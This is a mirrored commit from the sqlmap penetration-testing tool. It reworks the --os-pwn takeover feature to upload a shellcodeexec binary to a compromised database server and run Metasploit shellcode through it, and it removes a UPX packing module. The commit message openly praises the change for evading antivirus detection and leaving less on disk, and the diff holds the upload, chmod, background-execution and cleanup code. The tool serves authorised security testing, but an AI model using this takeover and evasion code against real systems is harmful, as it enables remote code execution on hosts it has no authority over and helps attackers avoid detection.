mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-23 16:09:03 +00:00
Major recode of --os-pwn functionality. Now the Metasploit shellcode can not be run as a Metasploit generated payload stager anymore. Instead it can be run on the target system either via sys_bineval() (as it was before, anti-forensics mode, all the same) or via shellcodeexec executable. Advantages are that:
* It is stealthier as the shellcode itself does not touch the filesystem, it's an argument passed to shellcodeexec at runtime. * shellcodeexec is not (yet) recognized as malicious by any (Avast excluded) AV product. * shellcodeexec binary size is significantly smaller than a Metasploit payload stager (even when packed with UPX). * UPX now is not needed anymore, so sqlmap package is also way smaller and less likely to be detected itself as malicious by your AV software. shellcodeexec source code, compilation files and binaries are in extra/shellcodeexec/ folder now - copied over from https://github.com/inquisb/shellcodeexec. Minor code refactoring.
This commit is contained in:
@@ -31,6 +31,7 @@ from lib.core.common import readInput
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import OS
|
||||
from lib.core.exception import sqlmapDataException
|
||||
@@ -41,7 +42,6 @@ from lib.core.subprocessng import blockingWriteToFD
|
||||
from lib.core.subprocessng import pollProcess
|
||||
from lib.core.subprocessng import setNonBlocking
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.takeover.upx import upx
|
||||
|
||||
|
||||
class Metasploit:
|
||||
@@ -391,15 +391,15 @@ class Metasploit:
|
||||
|
||||
self.udfExecCmd("'%s'" % self.shellcodeString, silent=True, udfName="sys_bineval")
|
||||
|
||||
def __runMsfPayloadRemote(self):
|
||||
infoMsg = "running Metasploit Framework 3 payload stager "
|
||||
infoMsg += "remotely, please wait.."
|
||||
def __runMsfShellcodeRemoteViaSexec(self):
|
||||
infoMsg = "running Metasploit Framework 3 shellcode remotely "
|
||||
infoMsg += "via shellcodeexec, please wait.."
|
||||
logger.info(infoMsg)
|
||||
|
||||
if not Backend.isOs(OS.WINDOWS):
|
||||
self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True)
|
||||
self.execCmd("chmod +x %s" % self.shellcodeexecRemote, silent=True)
|
||||
|
||||
cmd = "%s &" % self.exeFilePathRemote
|
||||
cmd = "%s %s &" % (self.shellcodeexecRemote, self.shellcodeString)
|
||||
|
||||
self.execCmd(cmd, silent=True)
|
||||
|
||||
@@ -437,7 +437,6 @@ class Metasploit:
|
||||
proc.stdin.write("list_tokens -u\n")
|
||||
proc.stdin.write("getuid\n")
|
||||
|
||||
|
||||
def __controlMsfCmd(self, proc, func):
|
||||
stdin_fd = sys.stdin.fileno()
|
||||
setNonBlocking(stdin_fd)
|
||||
@@ -536,100 +535,31 @@ class Metasploit:
|
||||
|
||||
os.unlink(self.__shellcodeFilePath)
|
||||
|
||||
def createMsfPayloadStager(self, initialize=True):
|
||||
if initialize:
|
||||
infoMsg = ""
|
||||
else:
|
||||
infoMsg = "re"
|
||||
|
||||
infoMsg += "creating Metasploit Framework 3 payload stager"
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
def uploadShellcodeexec(self, web=False):
|
||||
self.shellcodeexecLocal = paths.SQLMAP_SEXEC_PATH
|
||||
|
||||
if Backend.isOs(OS.WINDOWS):
|
||||
self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s.exe" % self.__randStr)
|
||||
|
||||
# Metasploit developers added support for the old exe format
|
||||
# to msfencode using '-t exe-small' (>= 3.3.3-dev),
|
||||
# http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
|
||||
# This is useful for sqlmap because on PostgreSQL it is not
|
||||
# possible to write files bigger than 8192 bytes abusing the
|
||||
# lo_export() feature implemented in sqlmap.
|
||||
if Backend.getIdentifiedDbms() == DBMS.PGSQL:
|
||||
self.__fileFormat = "exe-small"
|
||||
else:
|
||||
self.__fileFormat = "exe"
|
||||
self.shellcodeexecLocal += "/windows/shellcodeexec/shellcodeexec.x%s.exe" % Backend.getArch()
|
||||
else:
|
||||
self.exeFilePathLocal = os.path.join(conf.outputPath, "tmpm%s" % self.__randStr)
|
||||
self.__fileFormat = "elf"
|
||||
self.shellcodeexecLocal += "/linux/shellcodeexec.x%s" % Backend.getArch()
|
||||
|
||||
if initialize:
|
||||
self.__initVars()
|
||||
|
||||
if self.payloadStr is None:
|
||||
self.__prepareIngredients()
|
||||
|
||||
self.__forgeMsfPayloadCmd("process", self.__fileFormat, self.exeFilePathLocal)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=None, stderr=PIPE)
|
||||
|
||||
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||
pollProcess(process)
|
||||
payloadStderr = process.communicate()[1]
|
||||
|
||||
if Backend.isOs(OS.WINDOWS):
|
||||
payloadSize = re.search("size\s([\d]+)", payloadStderr, re.I)
|
||||
else:
|
||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||
|
||||
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
|
||||
|
||||
if payloadSize:
|
||||
payloadSize = payloadSize.group(1)
|
||||
exeSize = os.path.getsize(self.exeFilePathLocal)
|
||||
|
||||
# Only pack the payload stager if the back-end DBMS operating
|
||||
# system is Windows and new portable executable template is
|
||||
# used
|
||||
if self.__fileFormat == "exe":
|
||||
packedSize = upx.pack(self.exeFilePathLocal)
|
||||
else:
|
||||
packedSize = None
|
||||
|
||||
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
||||
|
||||
if packedSize and packedSize < exeSize:
|
||||
debugMsg += "as a compressed portable executable its size "
|
||||
debugMsg += "is %d bytes, decompressed it " % packedSize
|
||||
debugMsg += "was %s bytes large" % exeSize
|
||||
else:
|
||||
debugMsg += "as a portable executable its size is "
|
||||
debugMsg += "%s bytes" % exeSize
|
||||
|
||||
logger.debug(debugMsg)
|
||||
else:
|
||||
errMsg = "failed to create the payload stager (%s)" % payloadStderr
|
||||
raise sqlmapFilePathException, errMsg
|
||||
|
||||
def uploadMsfPayloadStager(self, web=False):
|
||||
if web:
|
||||
self.exeFilePathRemote = "%s/%s" % (self.webDirectory, os.path.basename(self.exeFilePathLocal))
|
||||
else:
|
||||
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
|
||||
|
||||
self.exeFilePathRemote = ntToPosixSlashes(normalizePath(self.exeFilePathRemote))
|
||||
|
||||
logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)
|
||||
# TODO: until web.py's __webFileStreamUpload() method does not consider the destFileName
|
||||
#__basename = "tmpse%s%s" % (self.__randStr, ".exe" if Backend.isOs(OS.WINDOWS) else "")
|
||||
__basename = os.path.basename(self.shellcodeexecLocal)
|
||||
|
||||
if web:
|
||||
self.webFileUpload(self.exeFilePathLocal, self.exeFilePathRemote, self.webDirectory)
|
||||
self.shellcodeexecRemote = "%s/%s" % (self.webDirectory, __basename)
|
||||
else:
|
||||
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
|
||||
self.shellcodeexecRemote = "%s/%s" % (conf.tmpPath, __basename)
|
||||
|
||||
os.unlink(self.exeFilePathLocal)
|
||||
self.shellcodeexecRemote = ntToPosixSlashes(normalizePath(self.shellcodeexecRemote))
|
||||
|
||||
logger.info("uploading shellcodeexec to '%s'" % self.shellcodeexecRemote)
|
||||
|
||||
if web:
|
||||
self.webFileUpload(self.shellcodeexecLocal, self.shellcodeexecRemote, self.webDirectory)
|
||||
else:
|
||||
self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", False)
|
||||
|
||||
def pwn(self, goUdf=False):
|
||||
if goUdf:
|
||||
@@ -637,7 +567,7 @@ class Metasploit:
|
||||
func = self.__runMsfShellcodeRemote
|
||||
else:
|
||||
exitfunc = "process"
|
||||
func = self.__runMsfPayloadRemote
|
||||
func = self.__runMsfShellcodeRemoteViaSexec
|
||||
|
||||
self.__runMsfCli(exitfunc=exitfunc)
|
||||
|
||||
@@ -650,7 +580,7 @@ class Metasploit:
|
||||
|
||||
if not goUdf:
|
||||
time.sleep(1)
|
||||
self.delRemoteFile(self.exeFilePathRemote)
|
||||
self.delRemoteFile(self.shellcodeexecRemote)
|
||||
|
||||
def smb(self):
|
||||
self.__initVars()
|
||||
|
||||
@@ -1,100 +0,0 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
|
||||
import os
|
||||
import stat
|
||||
import time
|
||||
|
||||
from subprocess import PIPE
|
||||
from subprocess import STDOUT
|
||||
from subprocess import Popen as execute
|
||||
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import decloakToMkstemp
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import paths
|
||||
from lib.core.settings import IS_WIN
|
||||
from lib.core.settings import PLATFORM
|
||||
from lib.core.subprocessng import pollProcess
|
||||
|
||||
class UPX:
|
||||
"""
|
||||
This class defines methods to compress binary files with UPX (Ultimate
|
||||
Packer for eXecutables).
|
||||
|
||||
Reference:
|
||||
* http://upx.sourceforge.net
|
||||
"""
|
||||
|
||||
def __initialize(self, srcFile, dstFile=None):
|
||||
if PLATFORM == "mac":
|
||||
self.__upxTemp = decloakToMkstemp("%s/upx/macosx/upx_" % paths.SQLMAP_CONTRIB_PATH)
|
||||
|
||||
elif PLATFORM in ( "ce", "nt" ):
|
||||
self.__upxTemp = decloakToMkstemp("%s\upx\windows\upx.exe_" % paths.SQLMAP_CONTRIB_PATH, suffix=".exe")
|
||||
|
||||
elif PLATFORM == "posix":
|
||||
self.__upxTemp = decloakToMkstemp("%s/upx/linux/upx_" % paths.SQLMAP_CONTRIB_PATH)
|
||||
|
||||
else:
|
||||
warnMsg = "unsupported platform for the compression tool "
|
||||
warnMsg += "(upx), sqlmap will continue anyway"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.__upxTemp = decloakToMkstemp("%s/upx/linux/upx_" % paths.SQLMAP_CONTRIB_PATH)
|
||||
|
||||
self.__upxPath = self.__upxTemp.name
|
||||
self.__upxTemp.close() #needed for execution rights
|
||||
|
||||
if not IS_WIN:
|
||||
os.chmod(self.__upxPath, stat.S_IXUSR)
|
||||
|
||||
self.__upxCmd = "%s -9 -qq %s" % (self.__upxPath, srcFile)
|
||||
|
||||
if dstFile:
|
||||
self.__upxCmd += " -o %s" % dstFile
|
||||
|
||||
def pack(self, srcFile, dstFile=None):
|
||||
self.__initialize(srcFile, dstFile)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__upxCmd)
|
||||
process = execute(self.__upxCmd, shell=True, stdout=PIPE, stderr=STDOUT)
|
||||
|
||||
dataToStdout("\r[%s] [INFO] compression in progress " % time.strftime("%X"))
|
||||
pollProcess(process)
|
||||
upxStdout, upxStderr = process.communicate()
|
||||
|
||||
if hasattr(self, '__upxTemp'):
|
||||
os.remove(self.__upxTemp.name)
|
||||
|
||||
msg = "failed to compress the file"
|
||||
|
||||
if "NotCompressibleException" in upxStdout:
|
||||
msg += " because you provided a Metasploit version above "
|
||||
msg += "3.3-dev revision 6681. This will not inficiate "
|
||||
msg += "the correct execution of sqlmap. It might "
|
||||
msg += "only slow down a bit the execution"
|
||||
logger.debug(msg)
|
||||
|
||||
elif upxStderr:
|
||||
logger.warn(msg)
|
||||
|
||||
else:
|
||||
return os.path.getsize(srcFile)
|
||||
|
||||
return None
|
||||
|
||||
def unpack(self, srcFile, dstFile=None):
|
||||
pass
|
||||
|
||||
def verify(self, filePath):
|
||||
pass
|
||||
|
||||
upx = UPX()
|
||||
Reference in New Issue
Block a user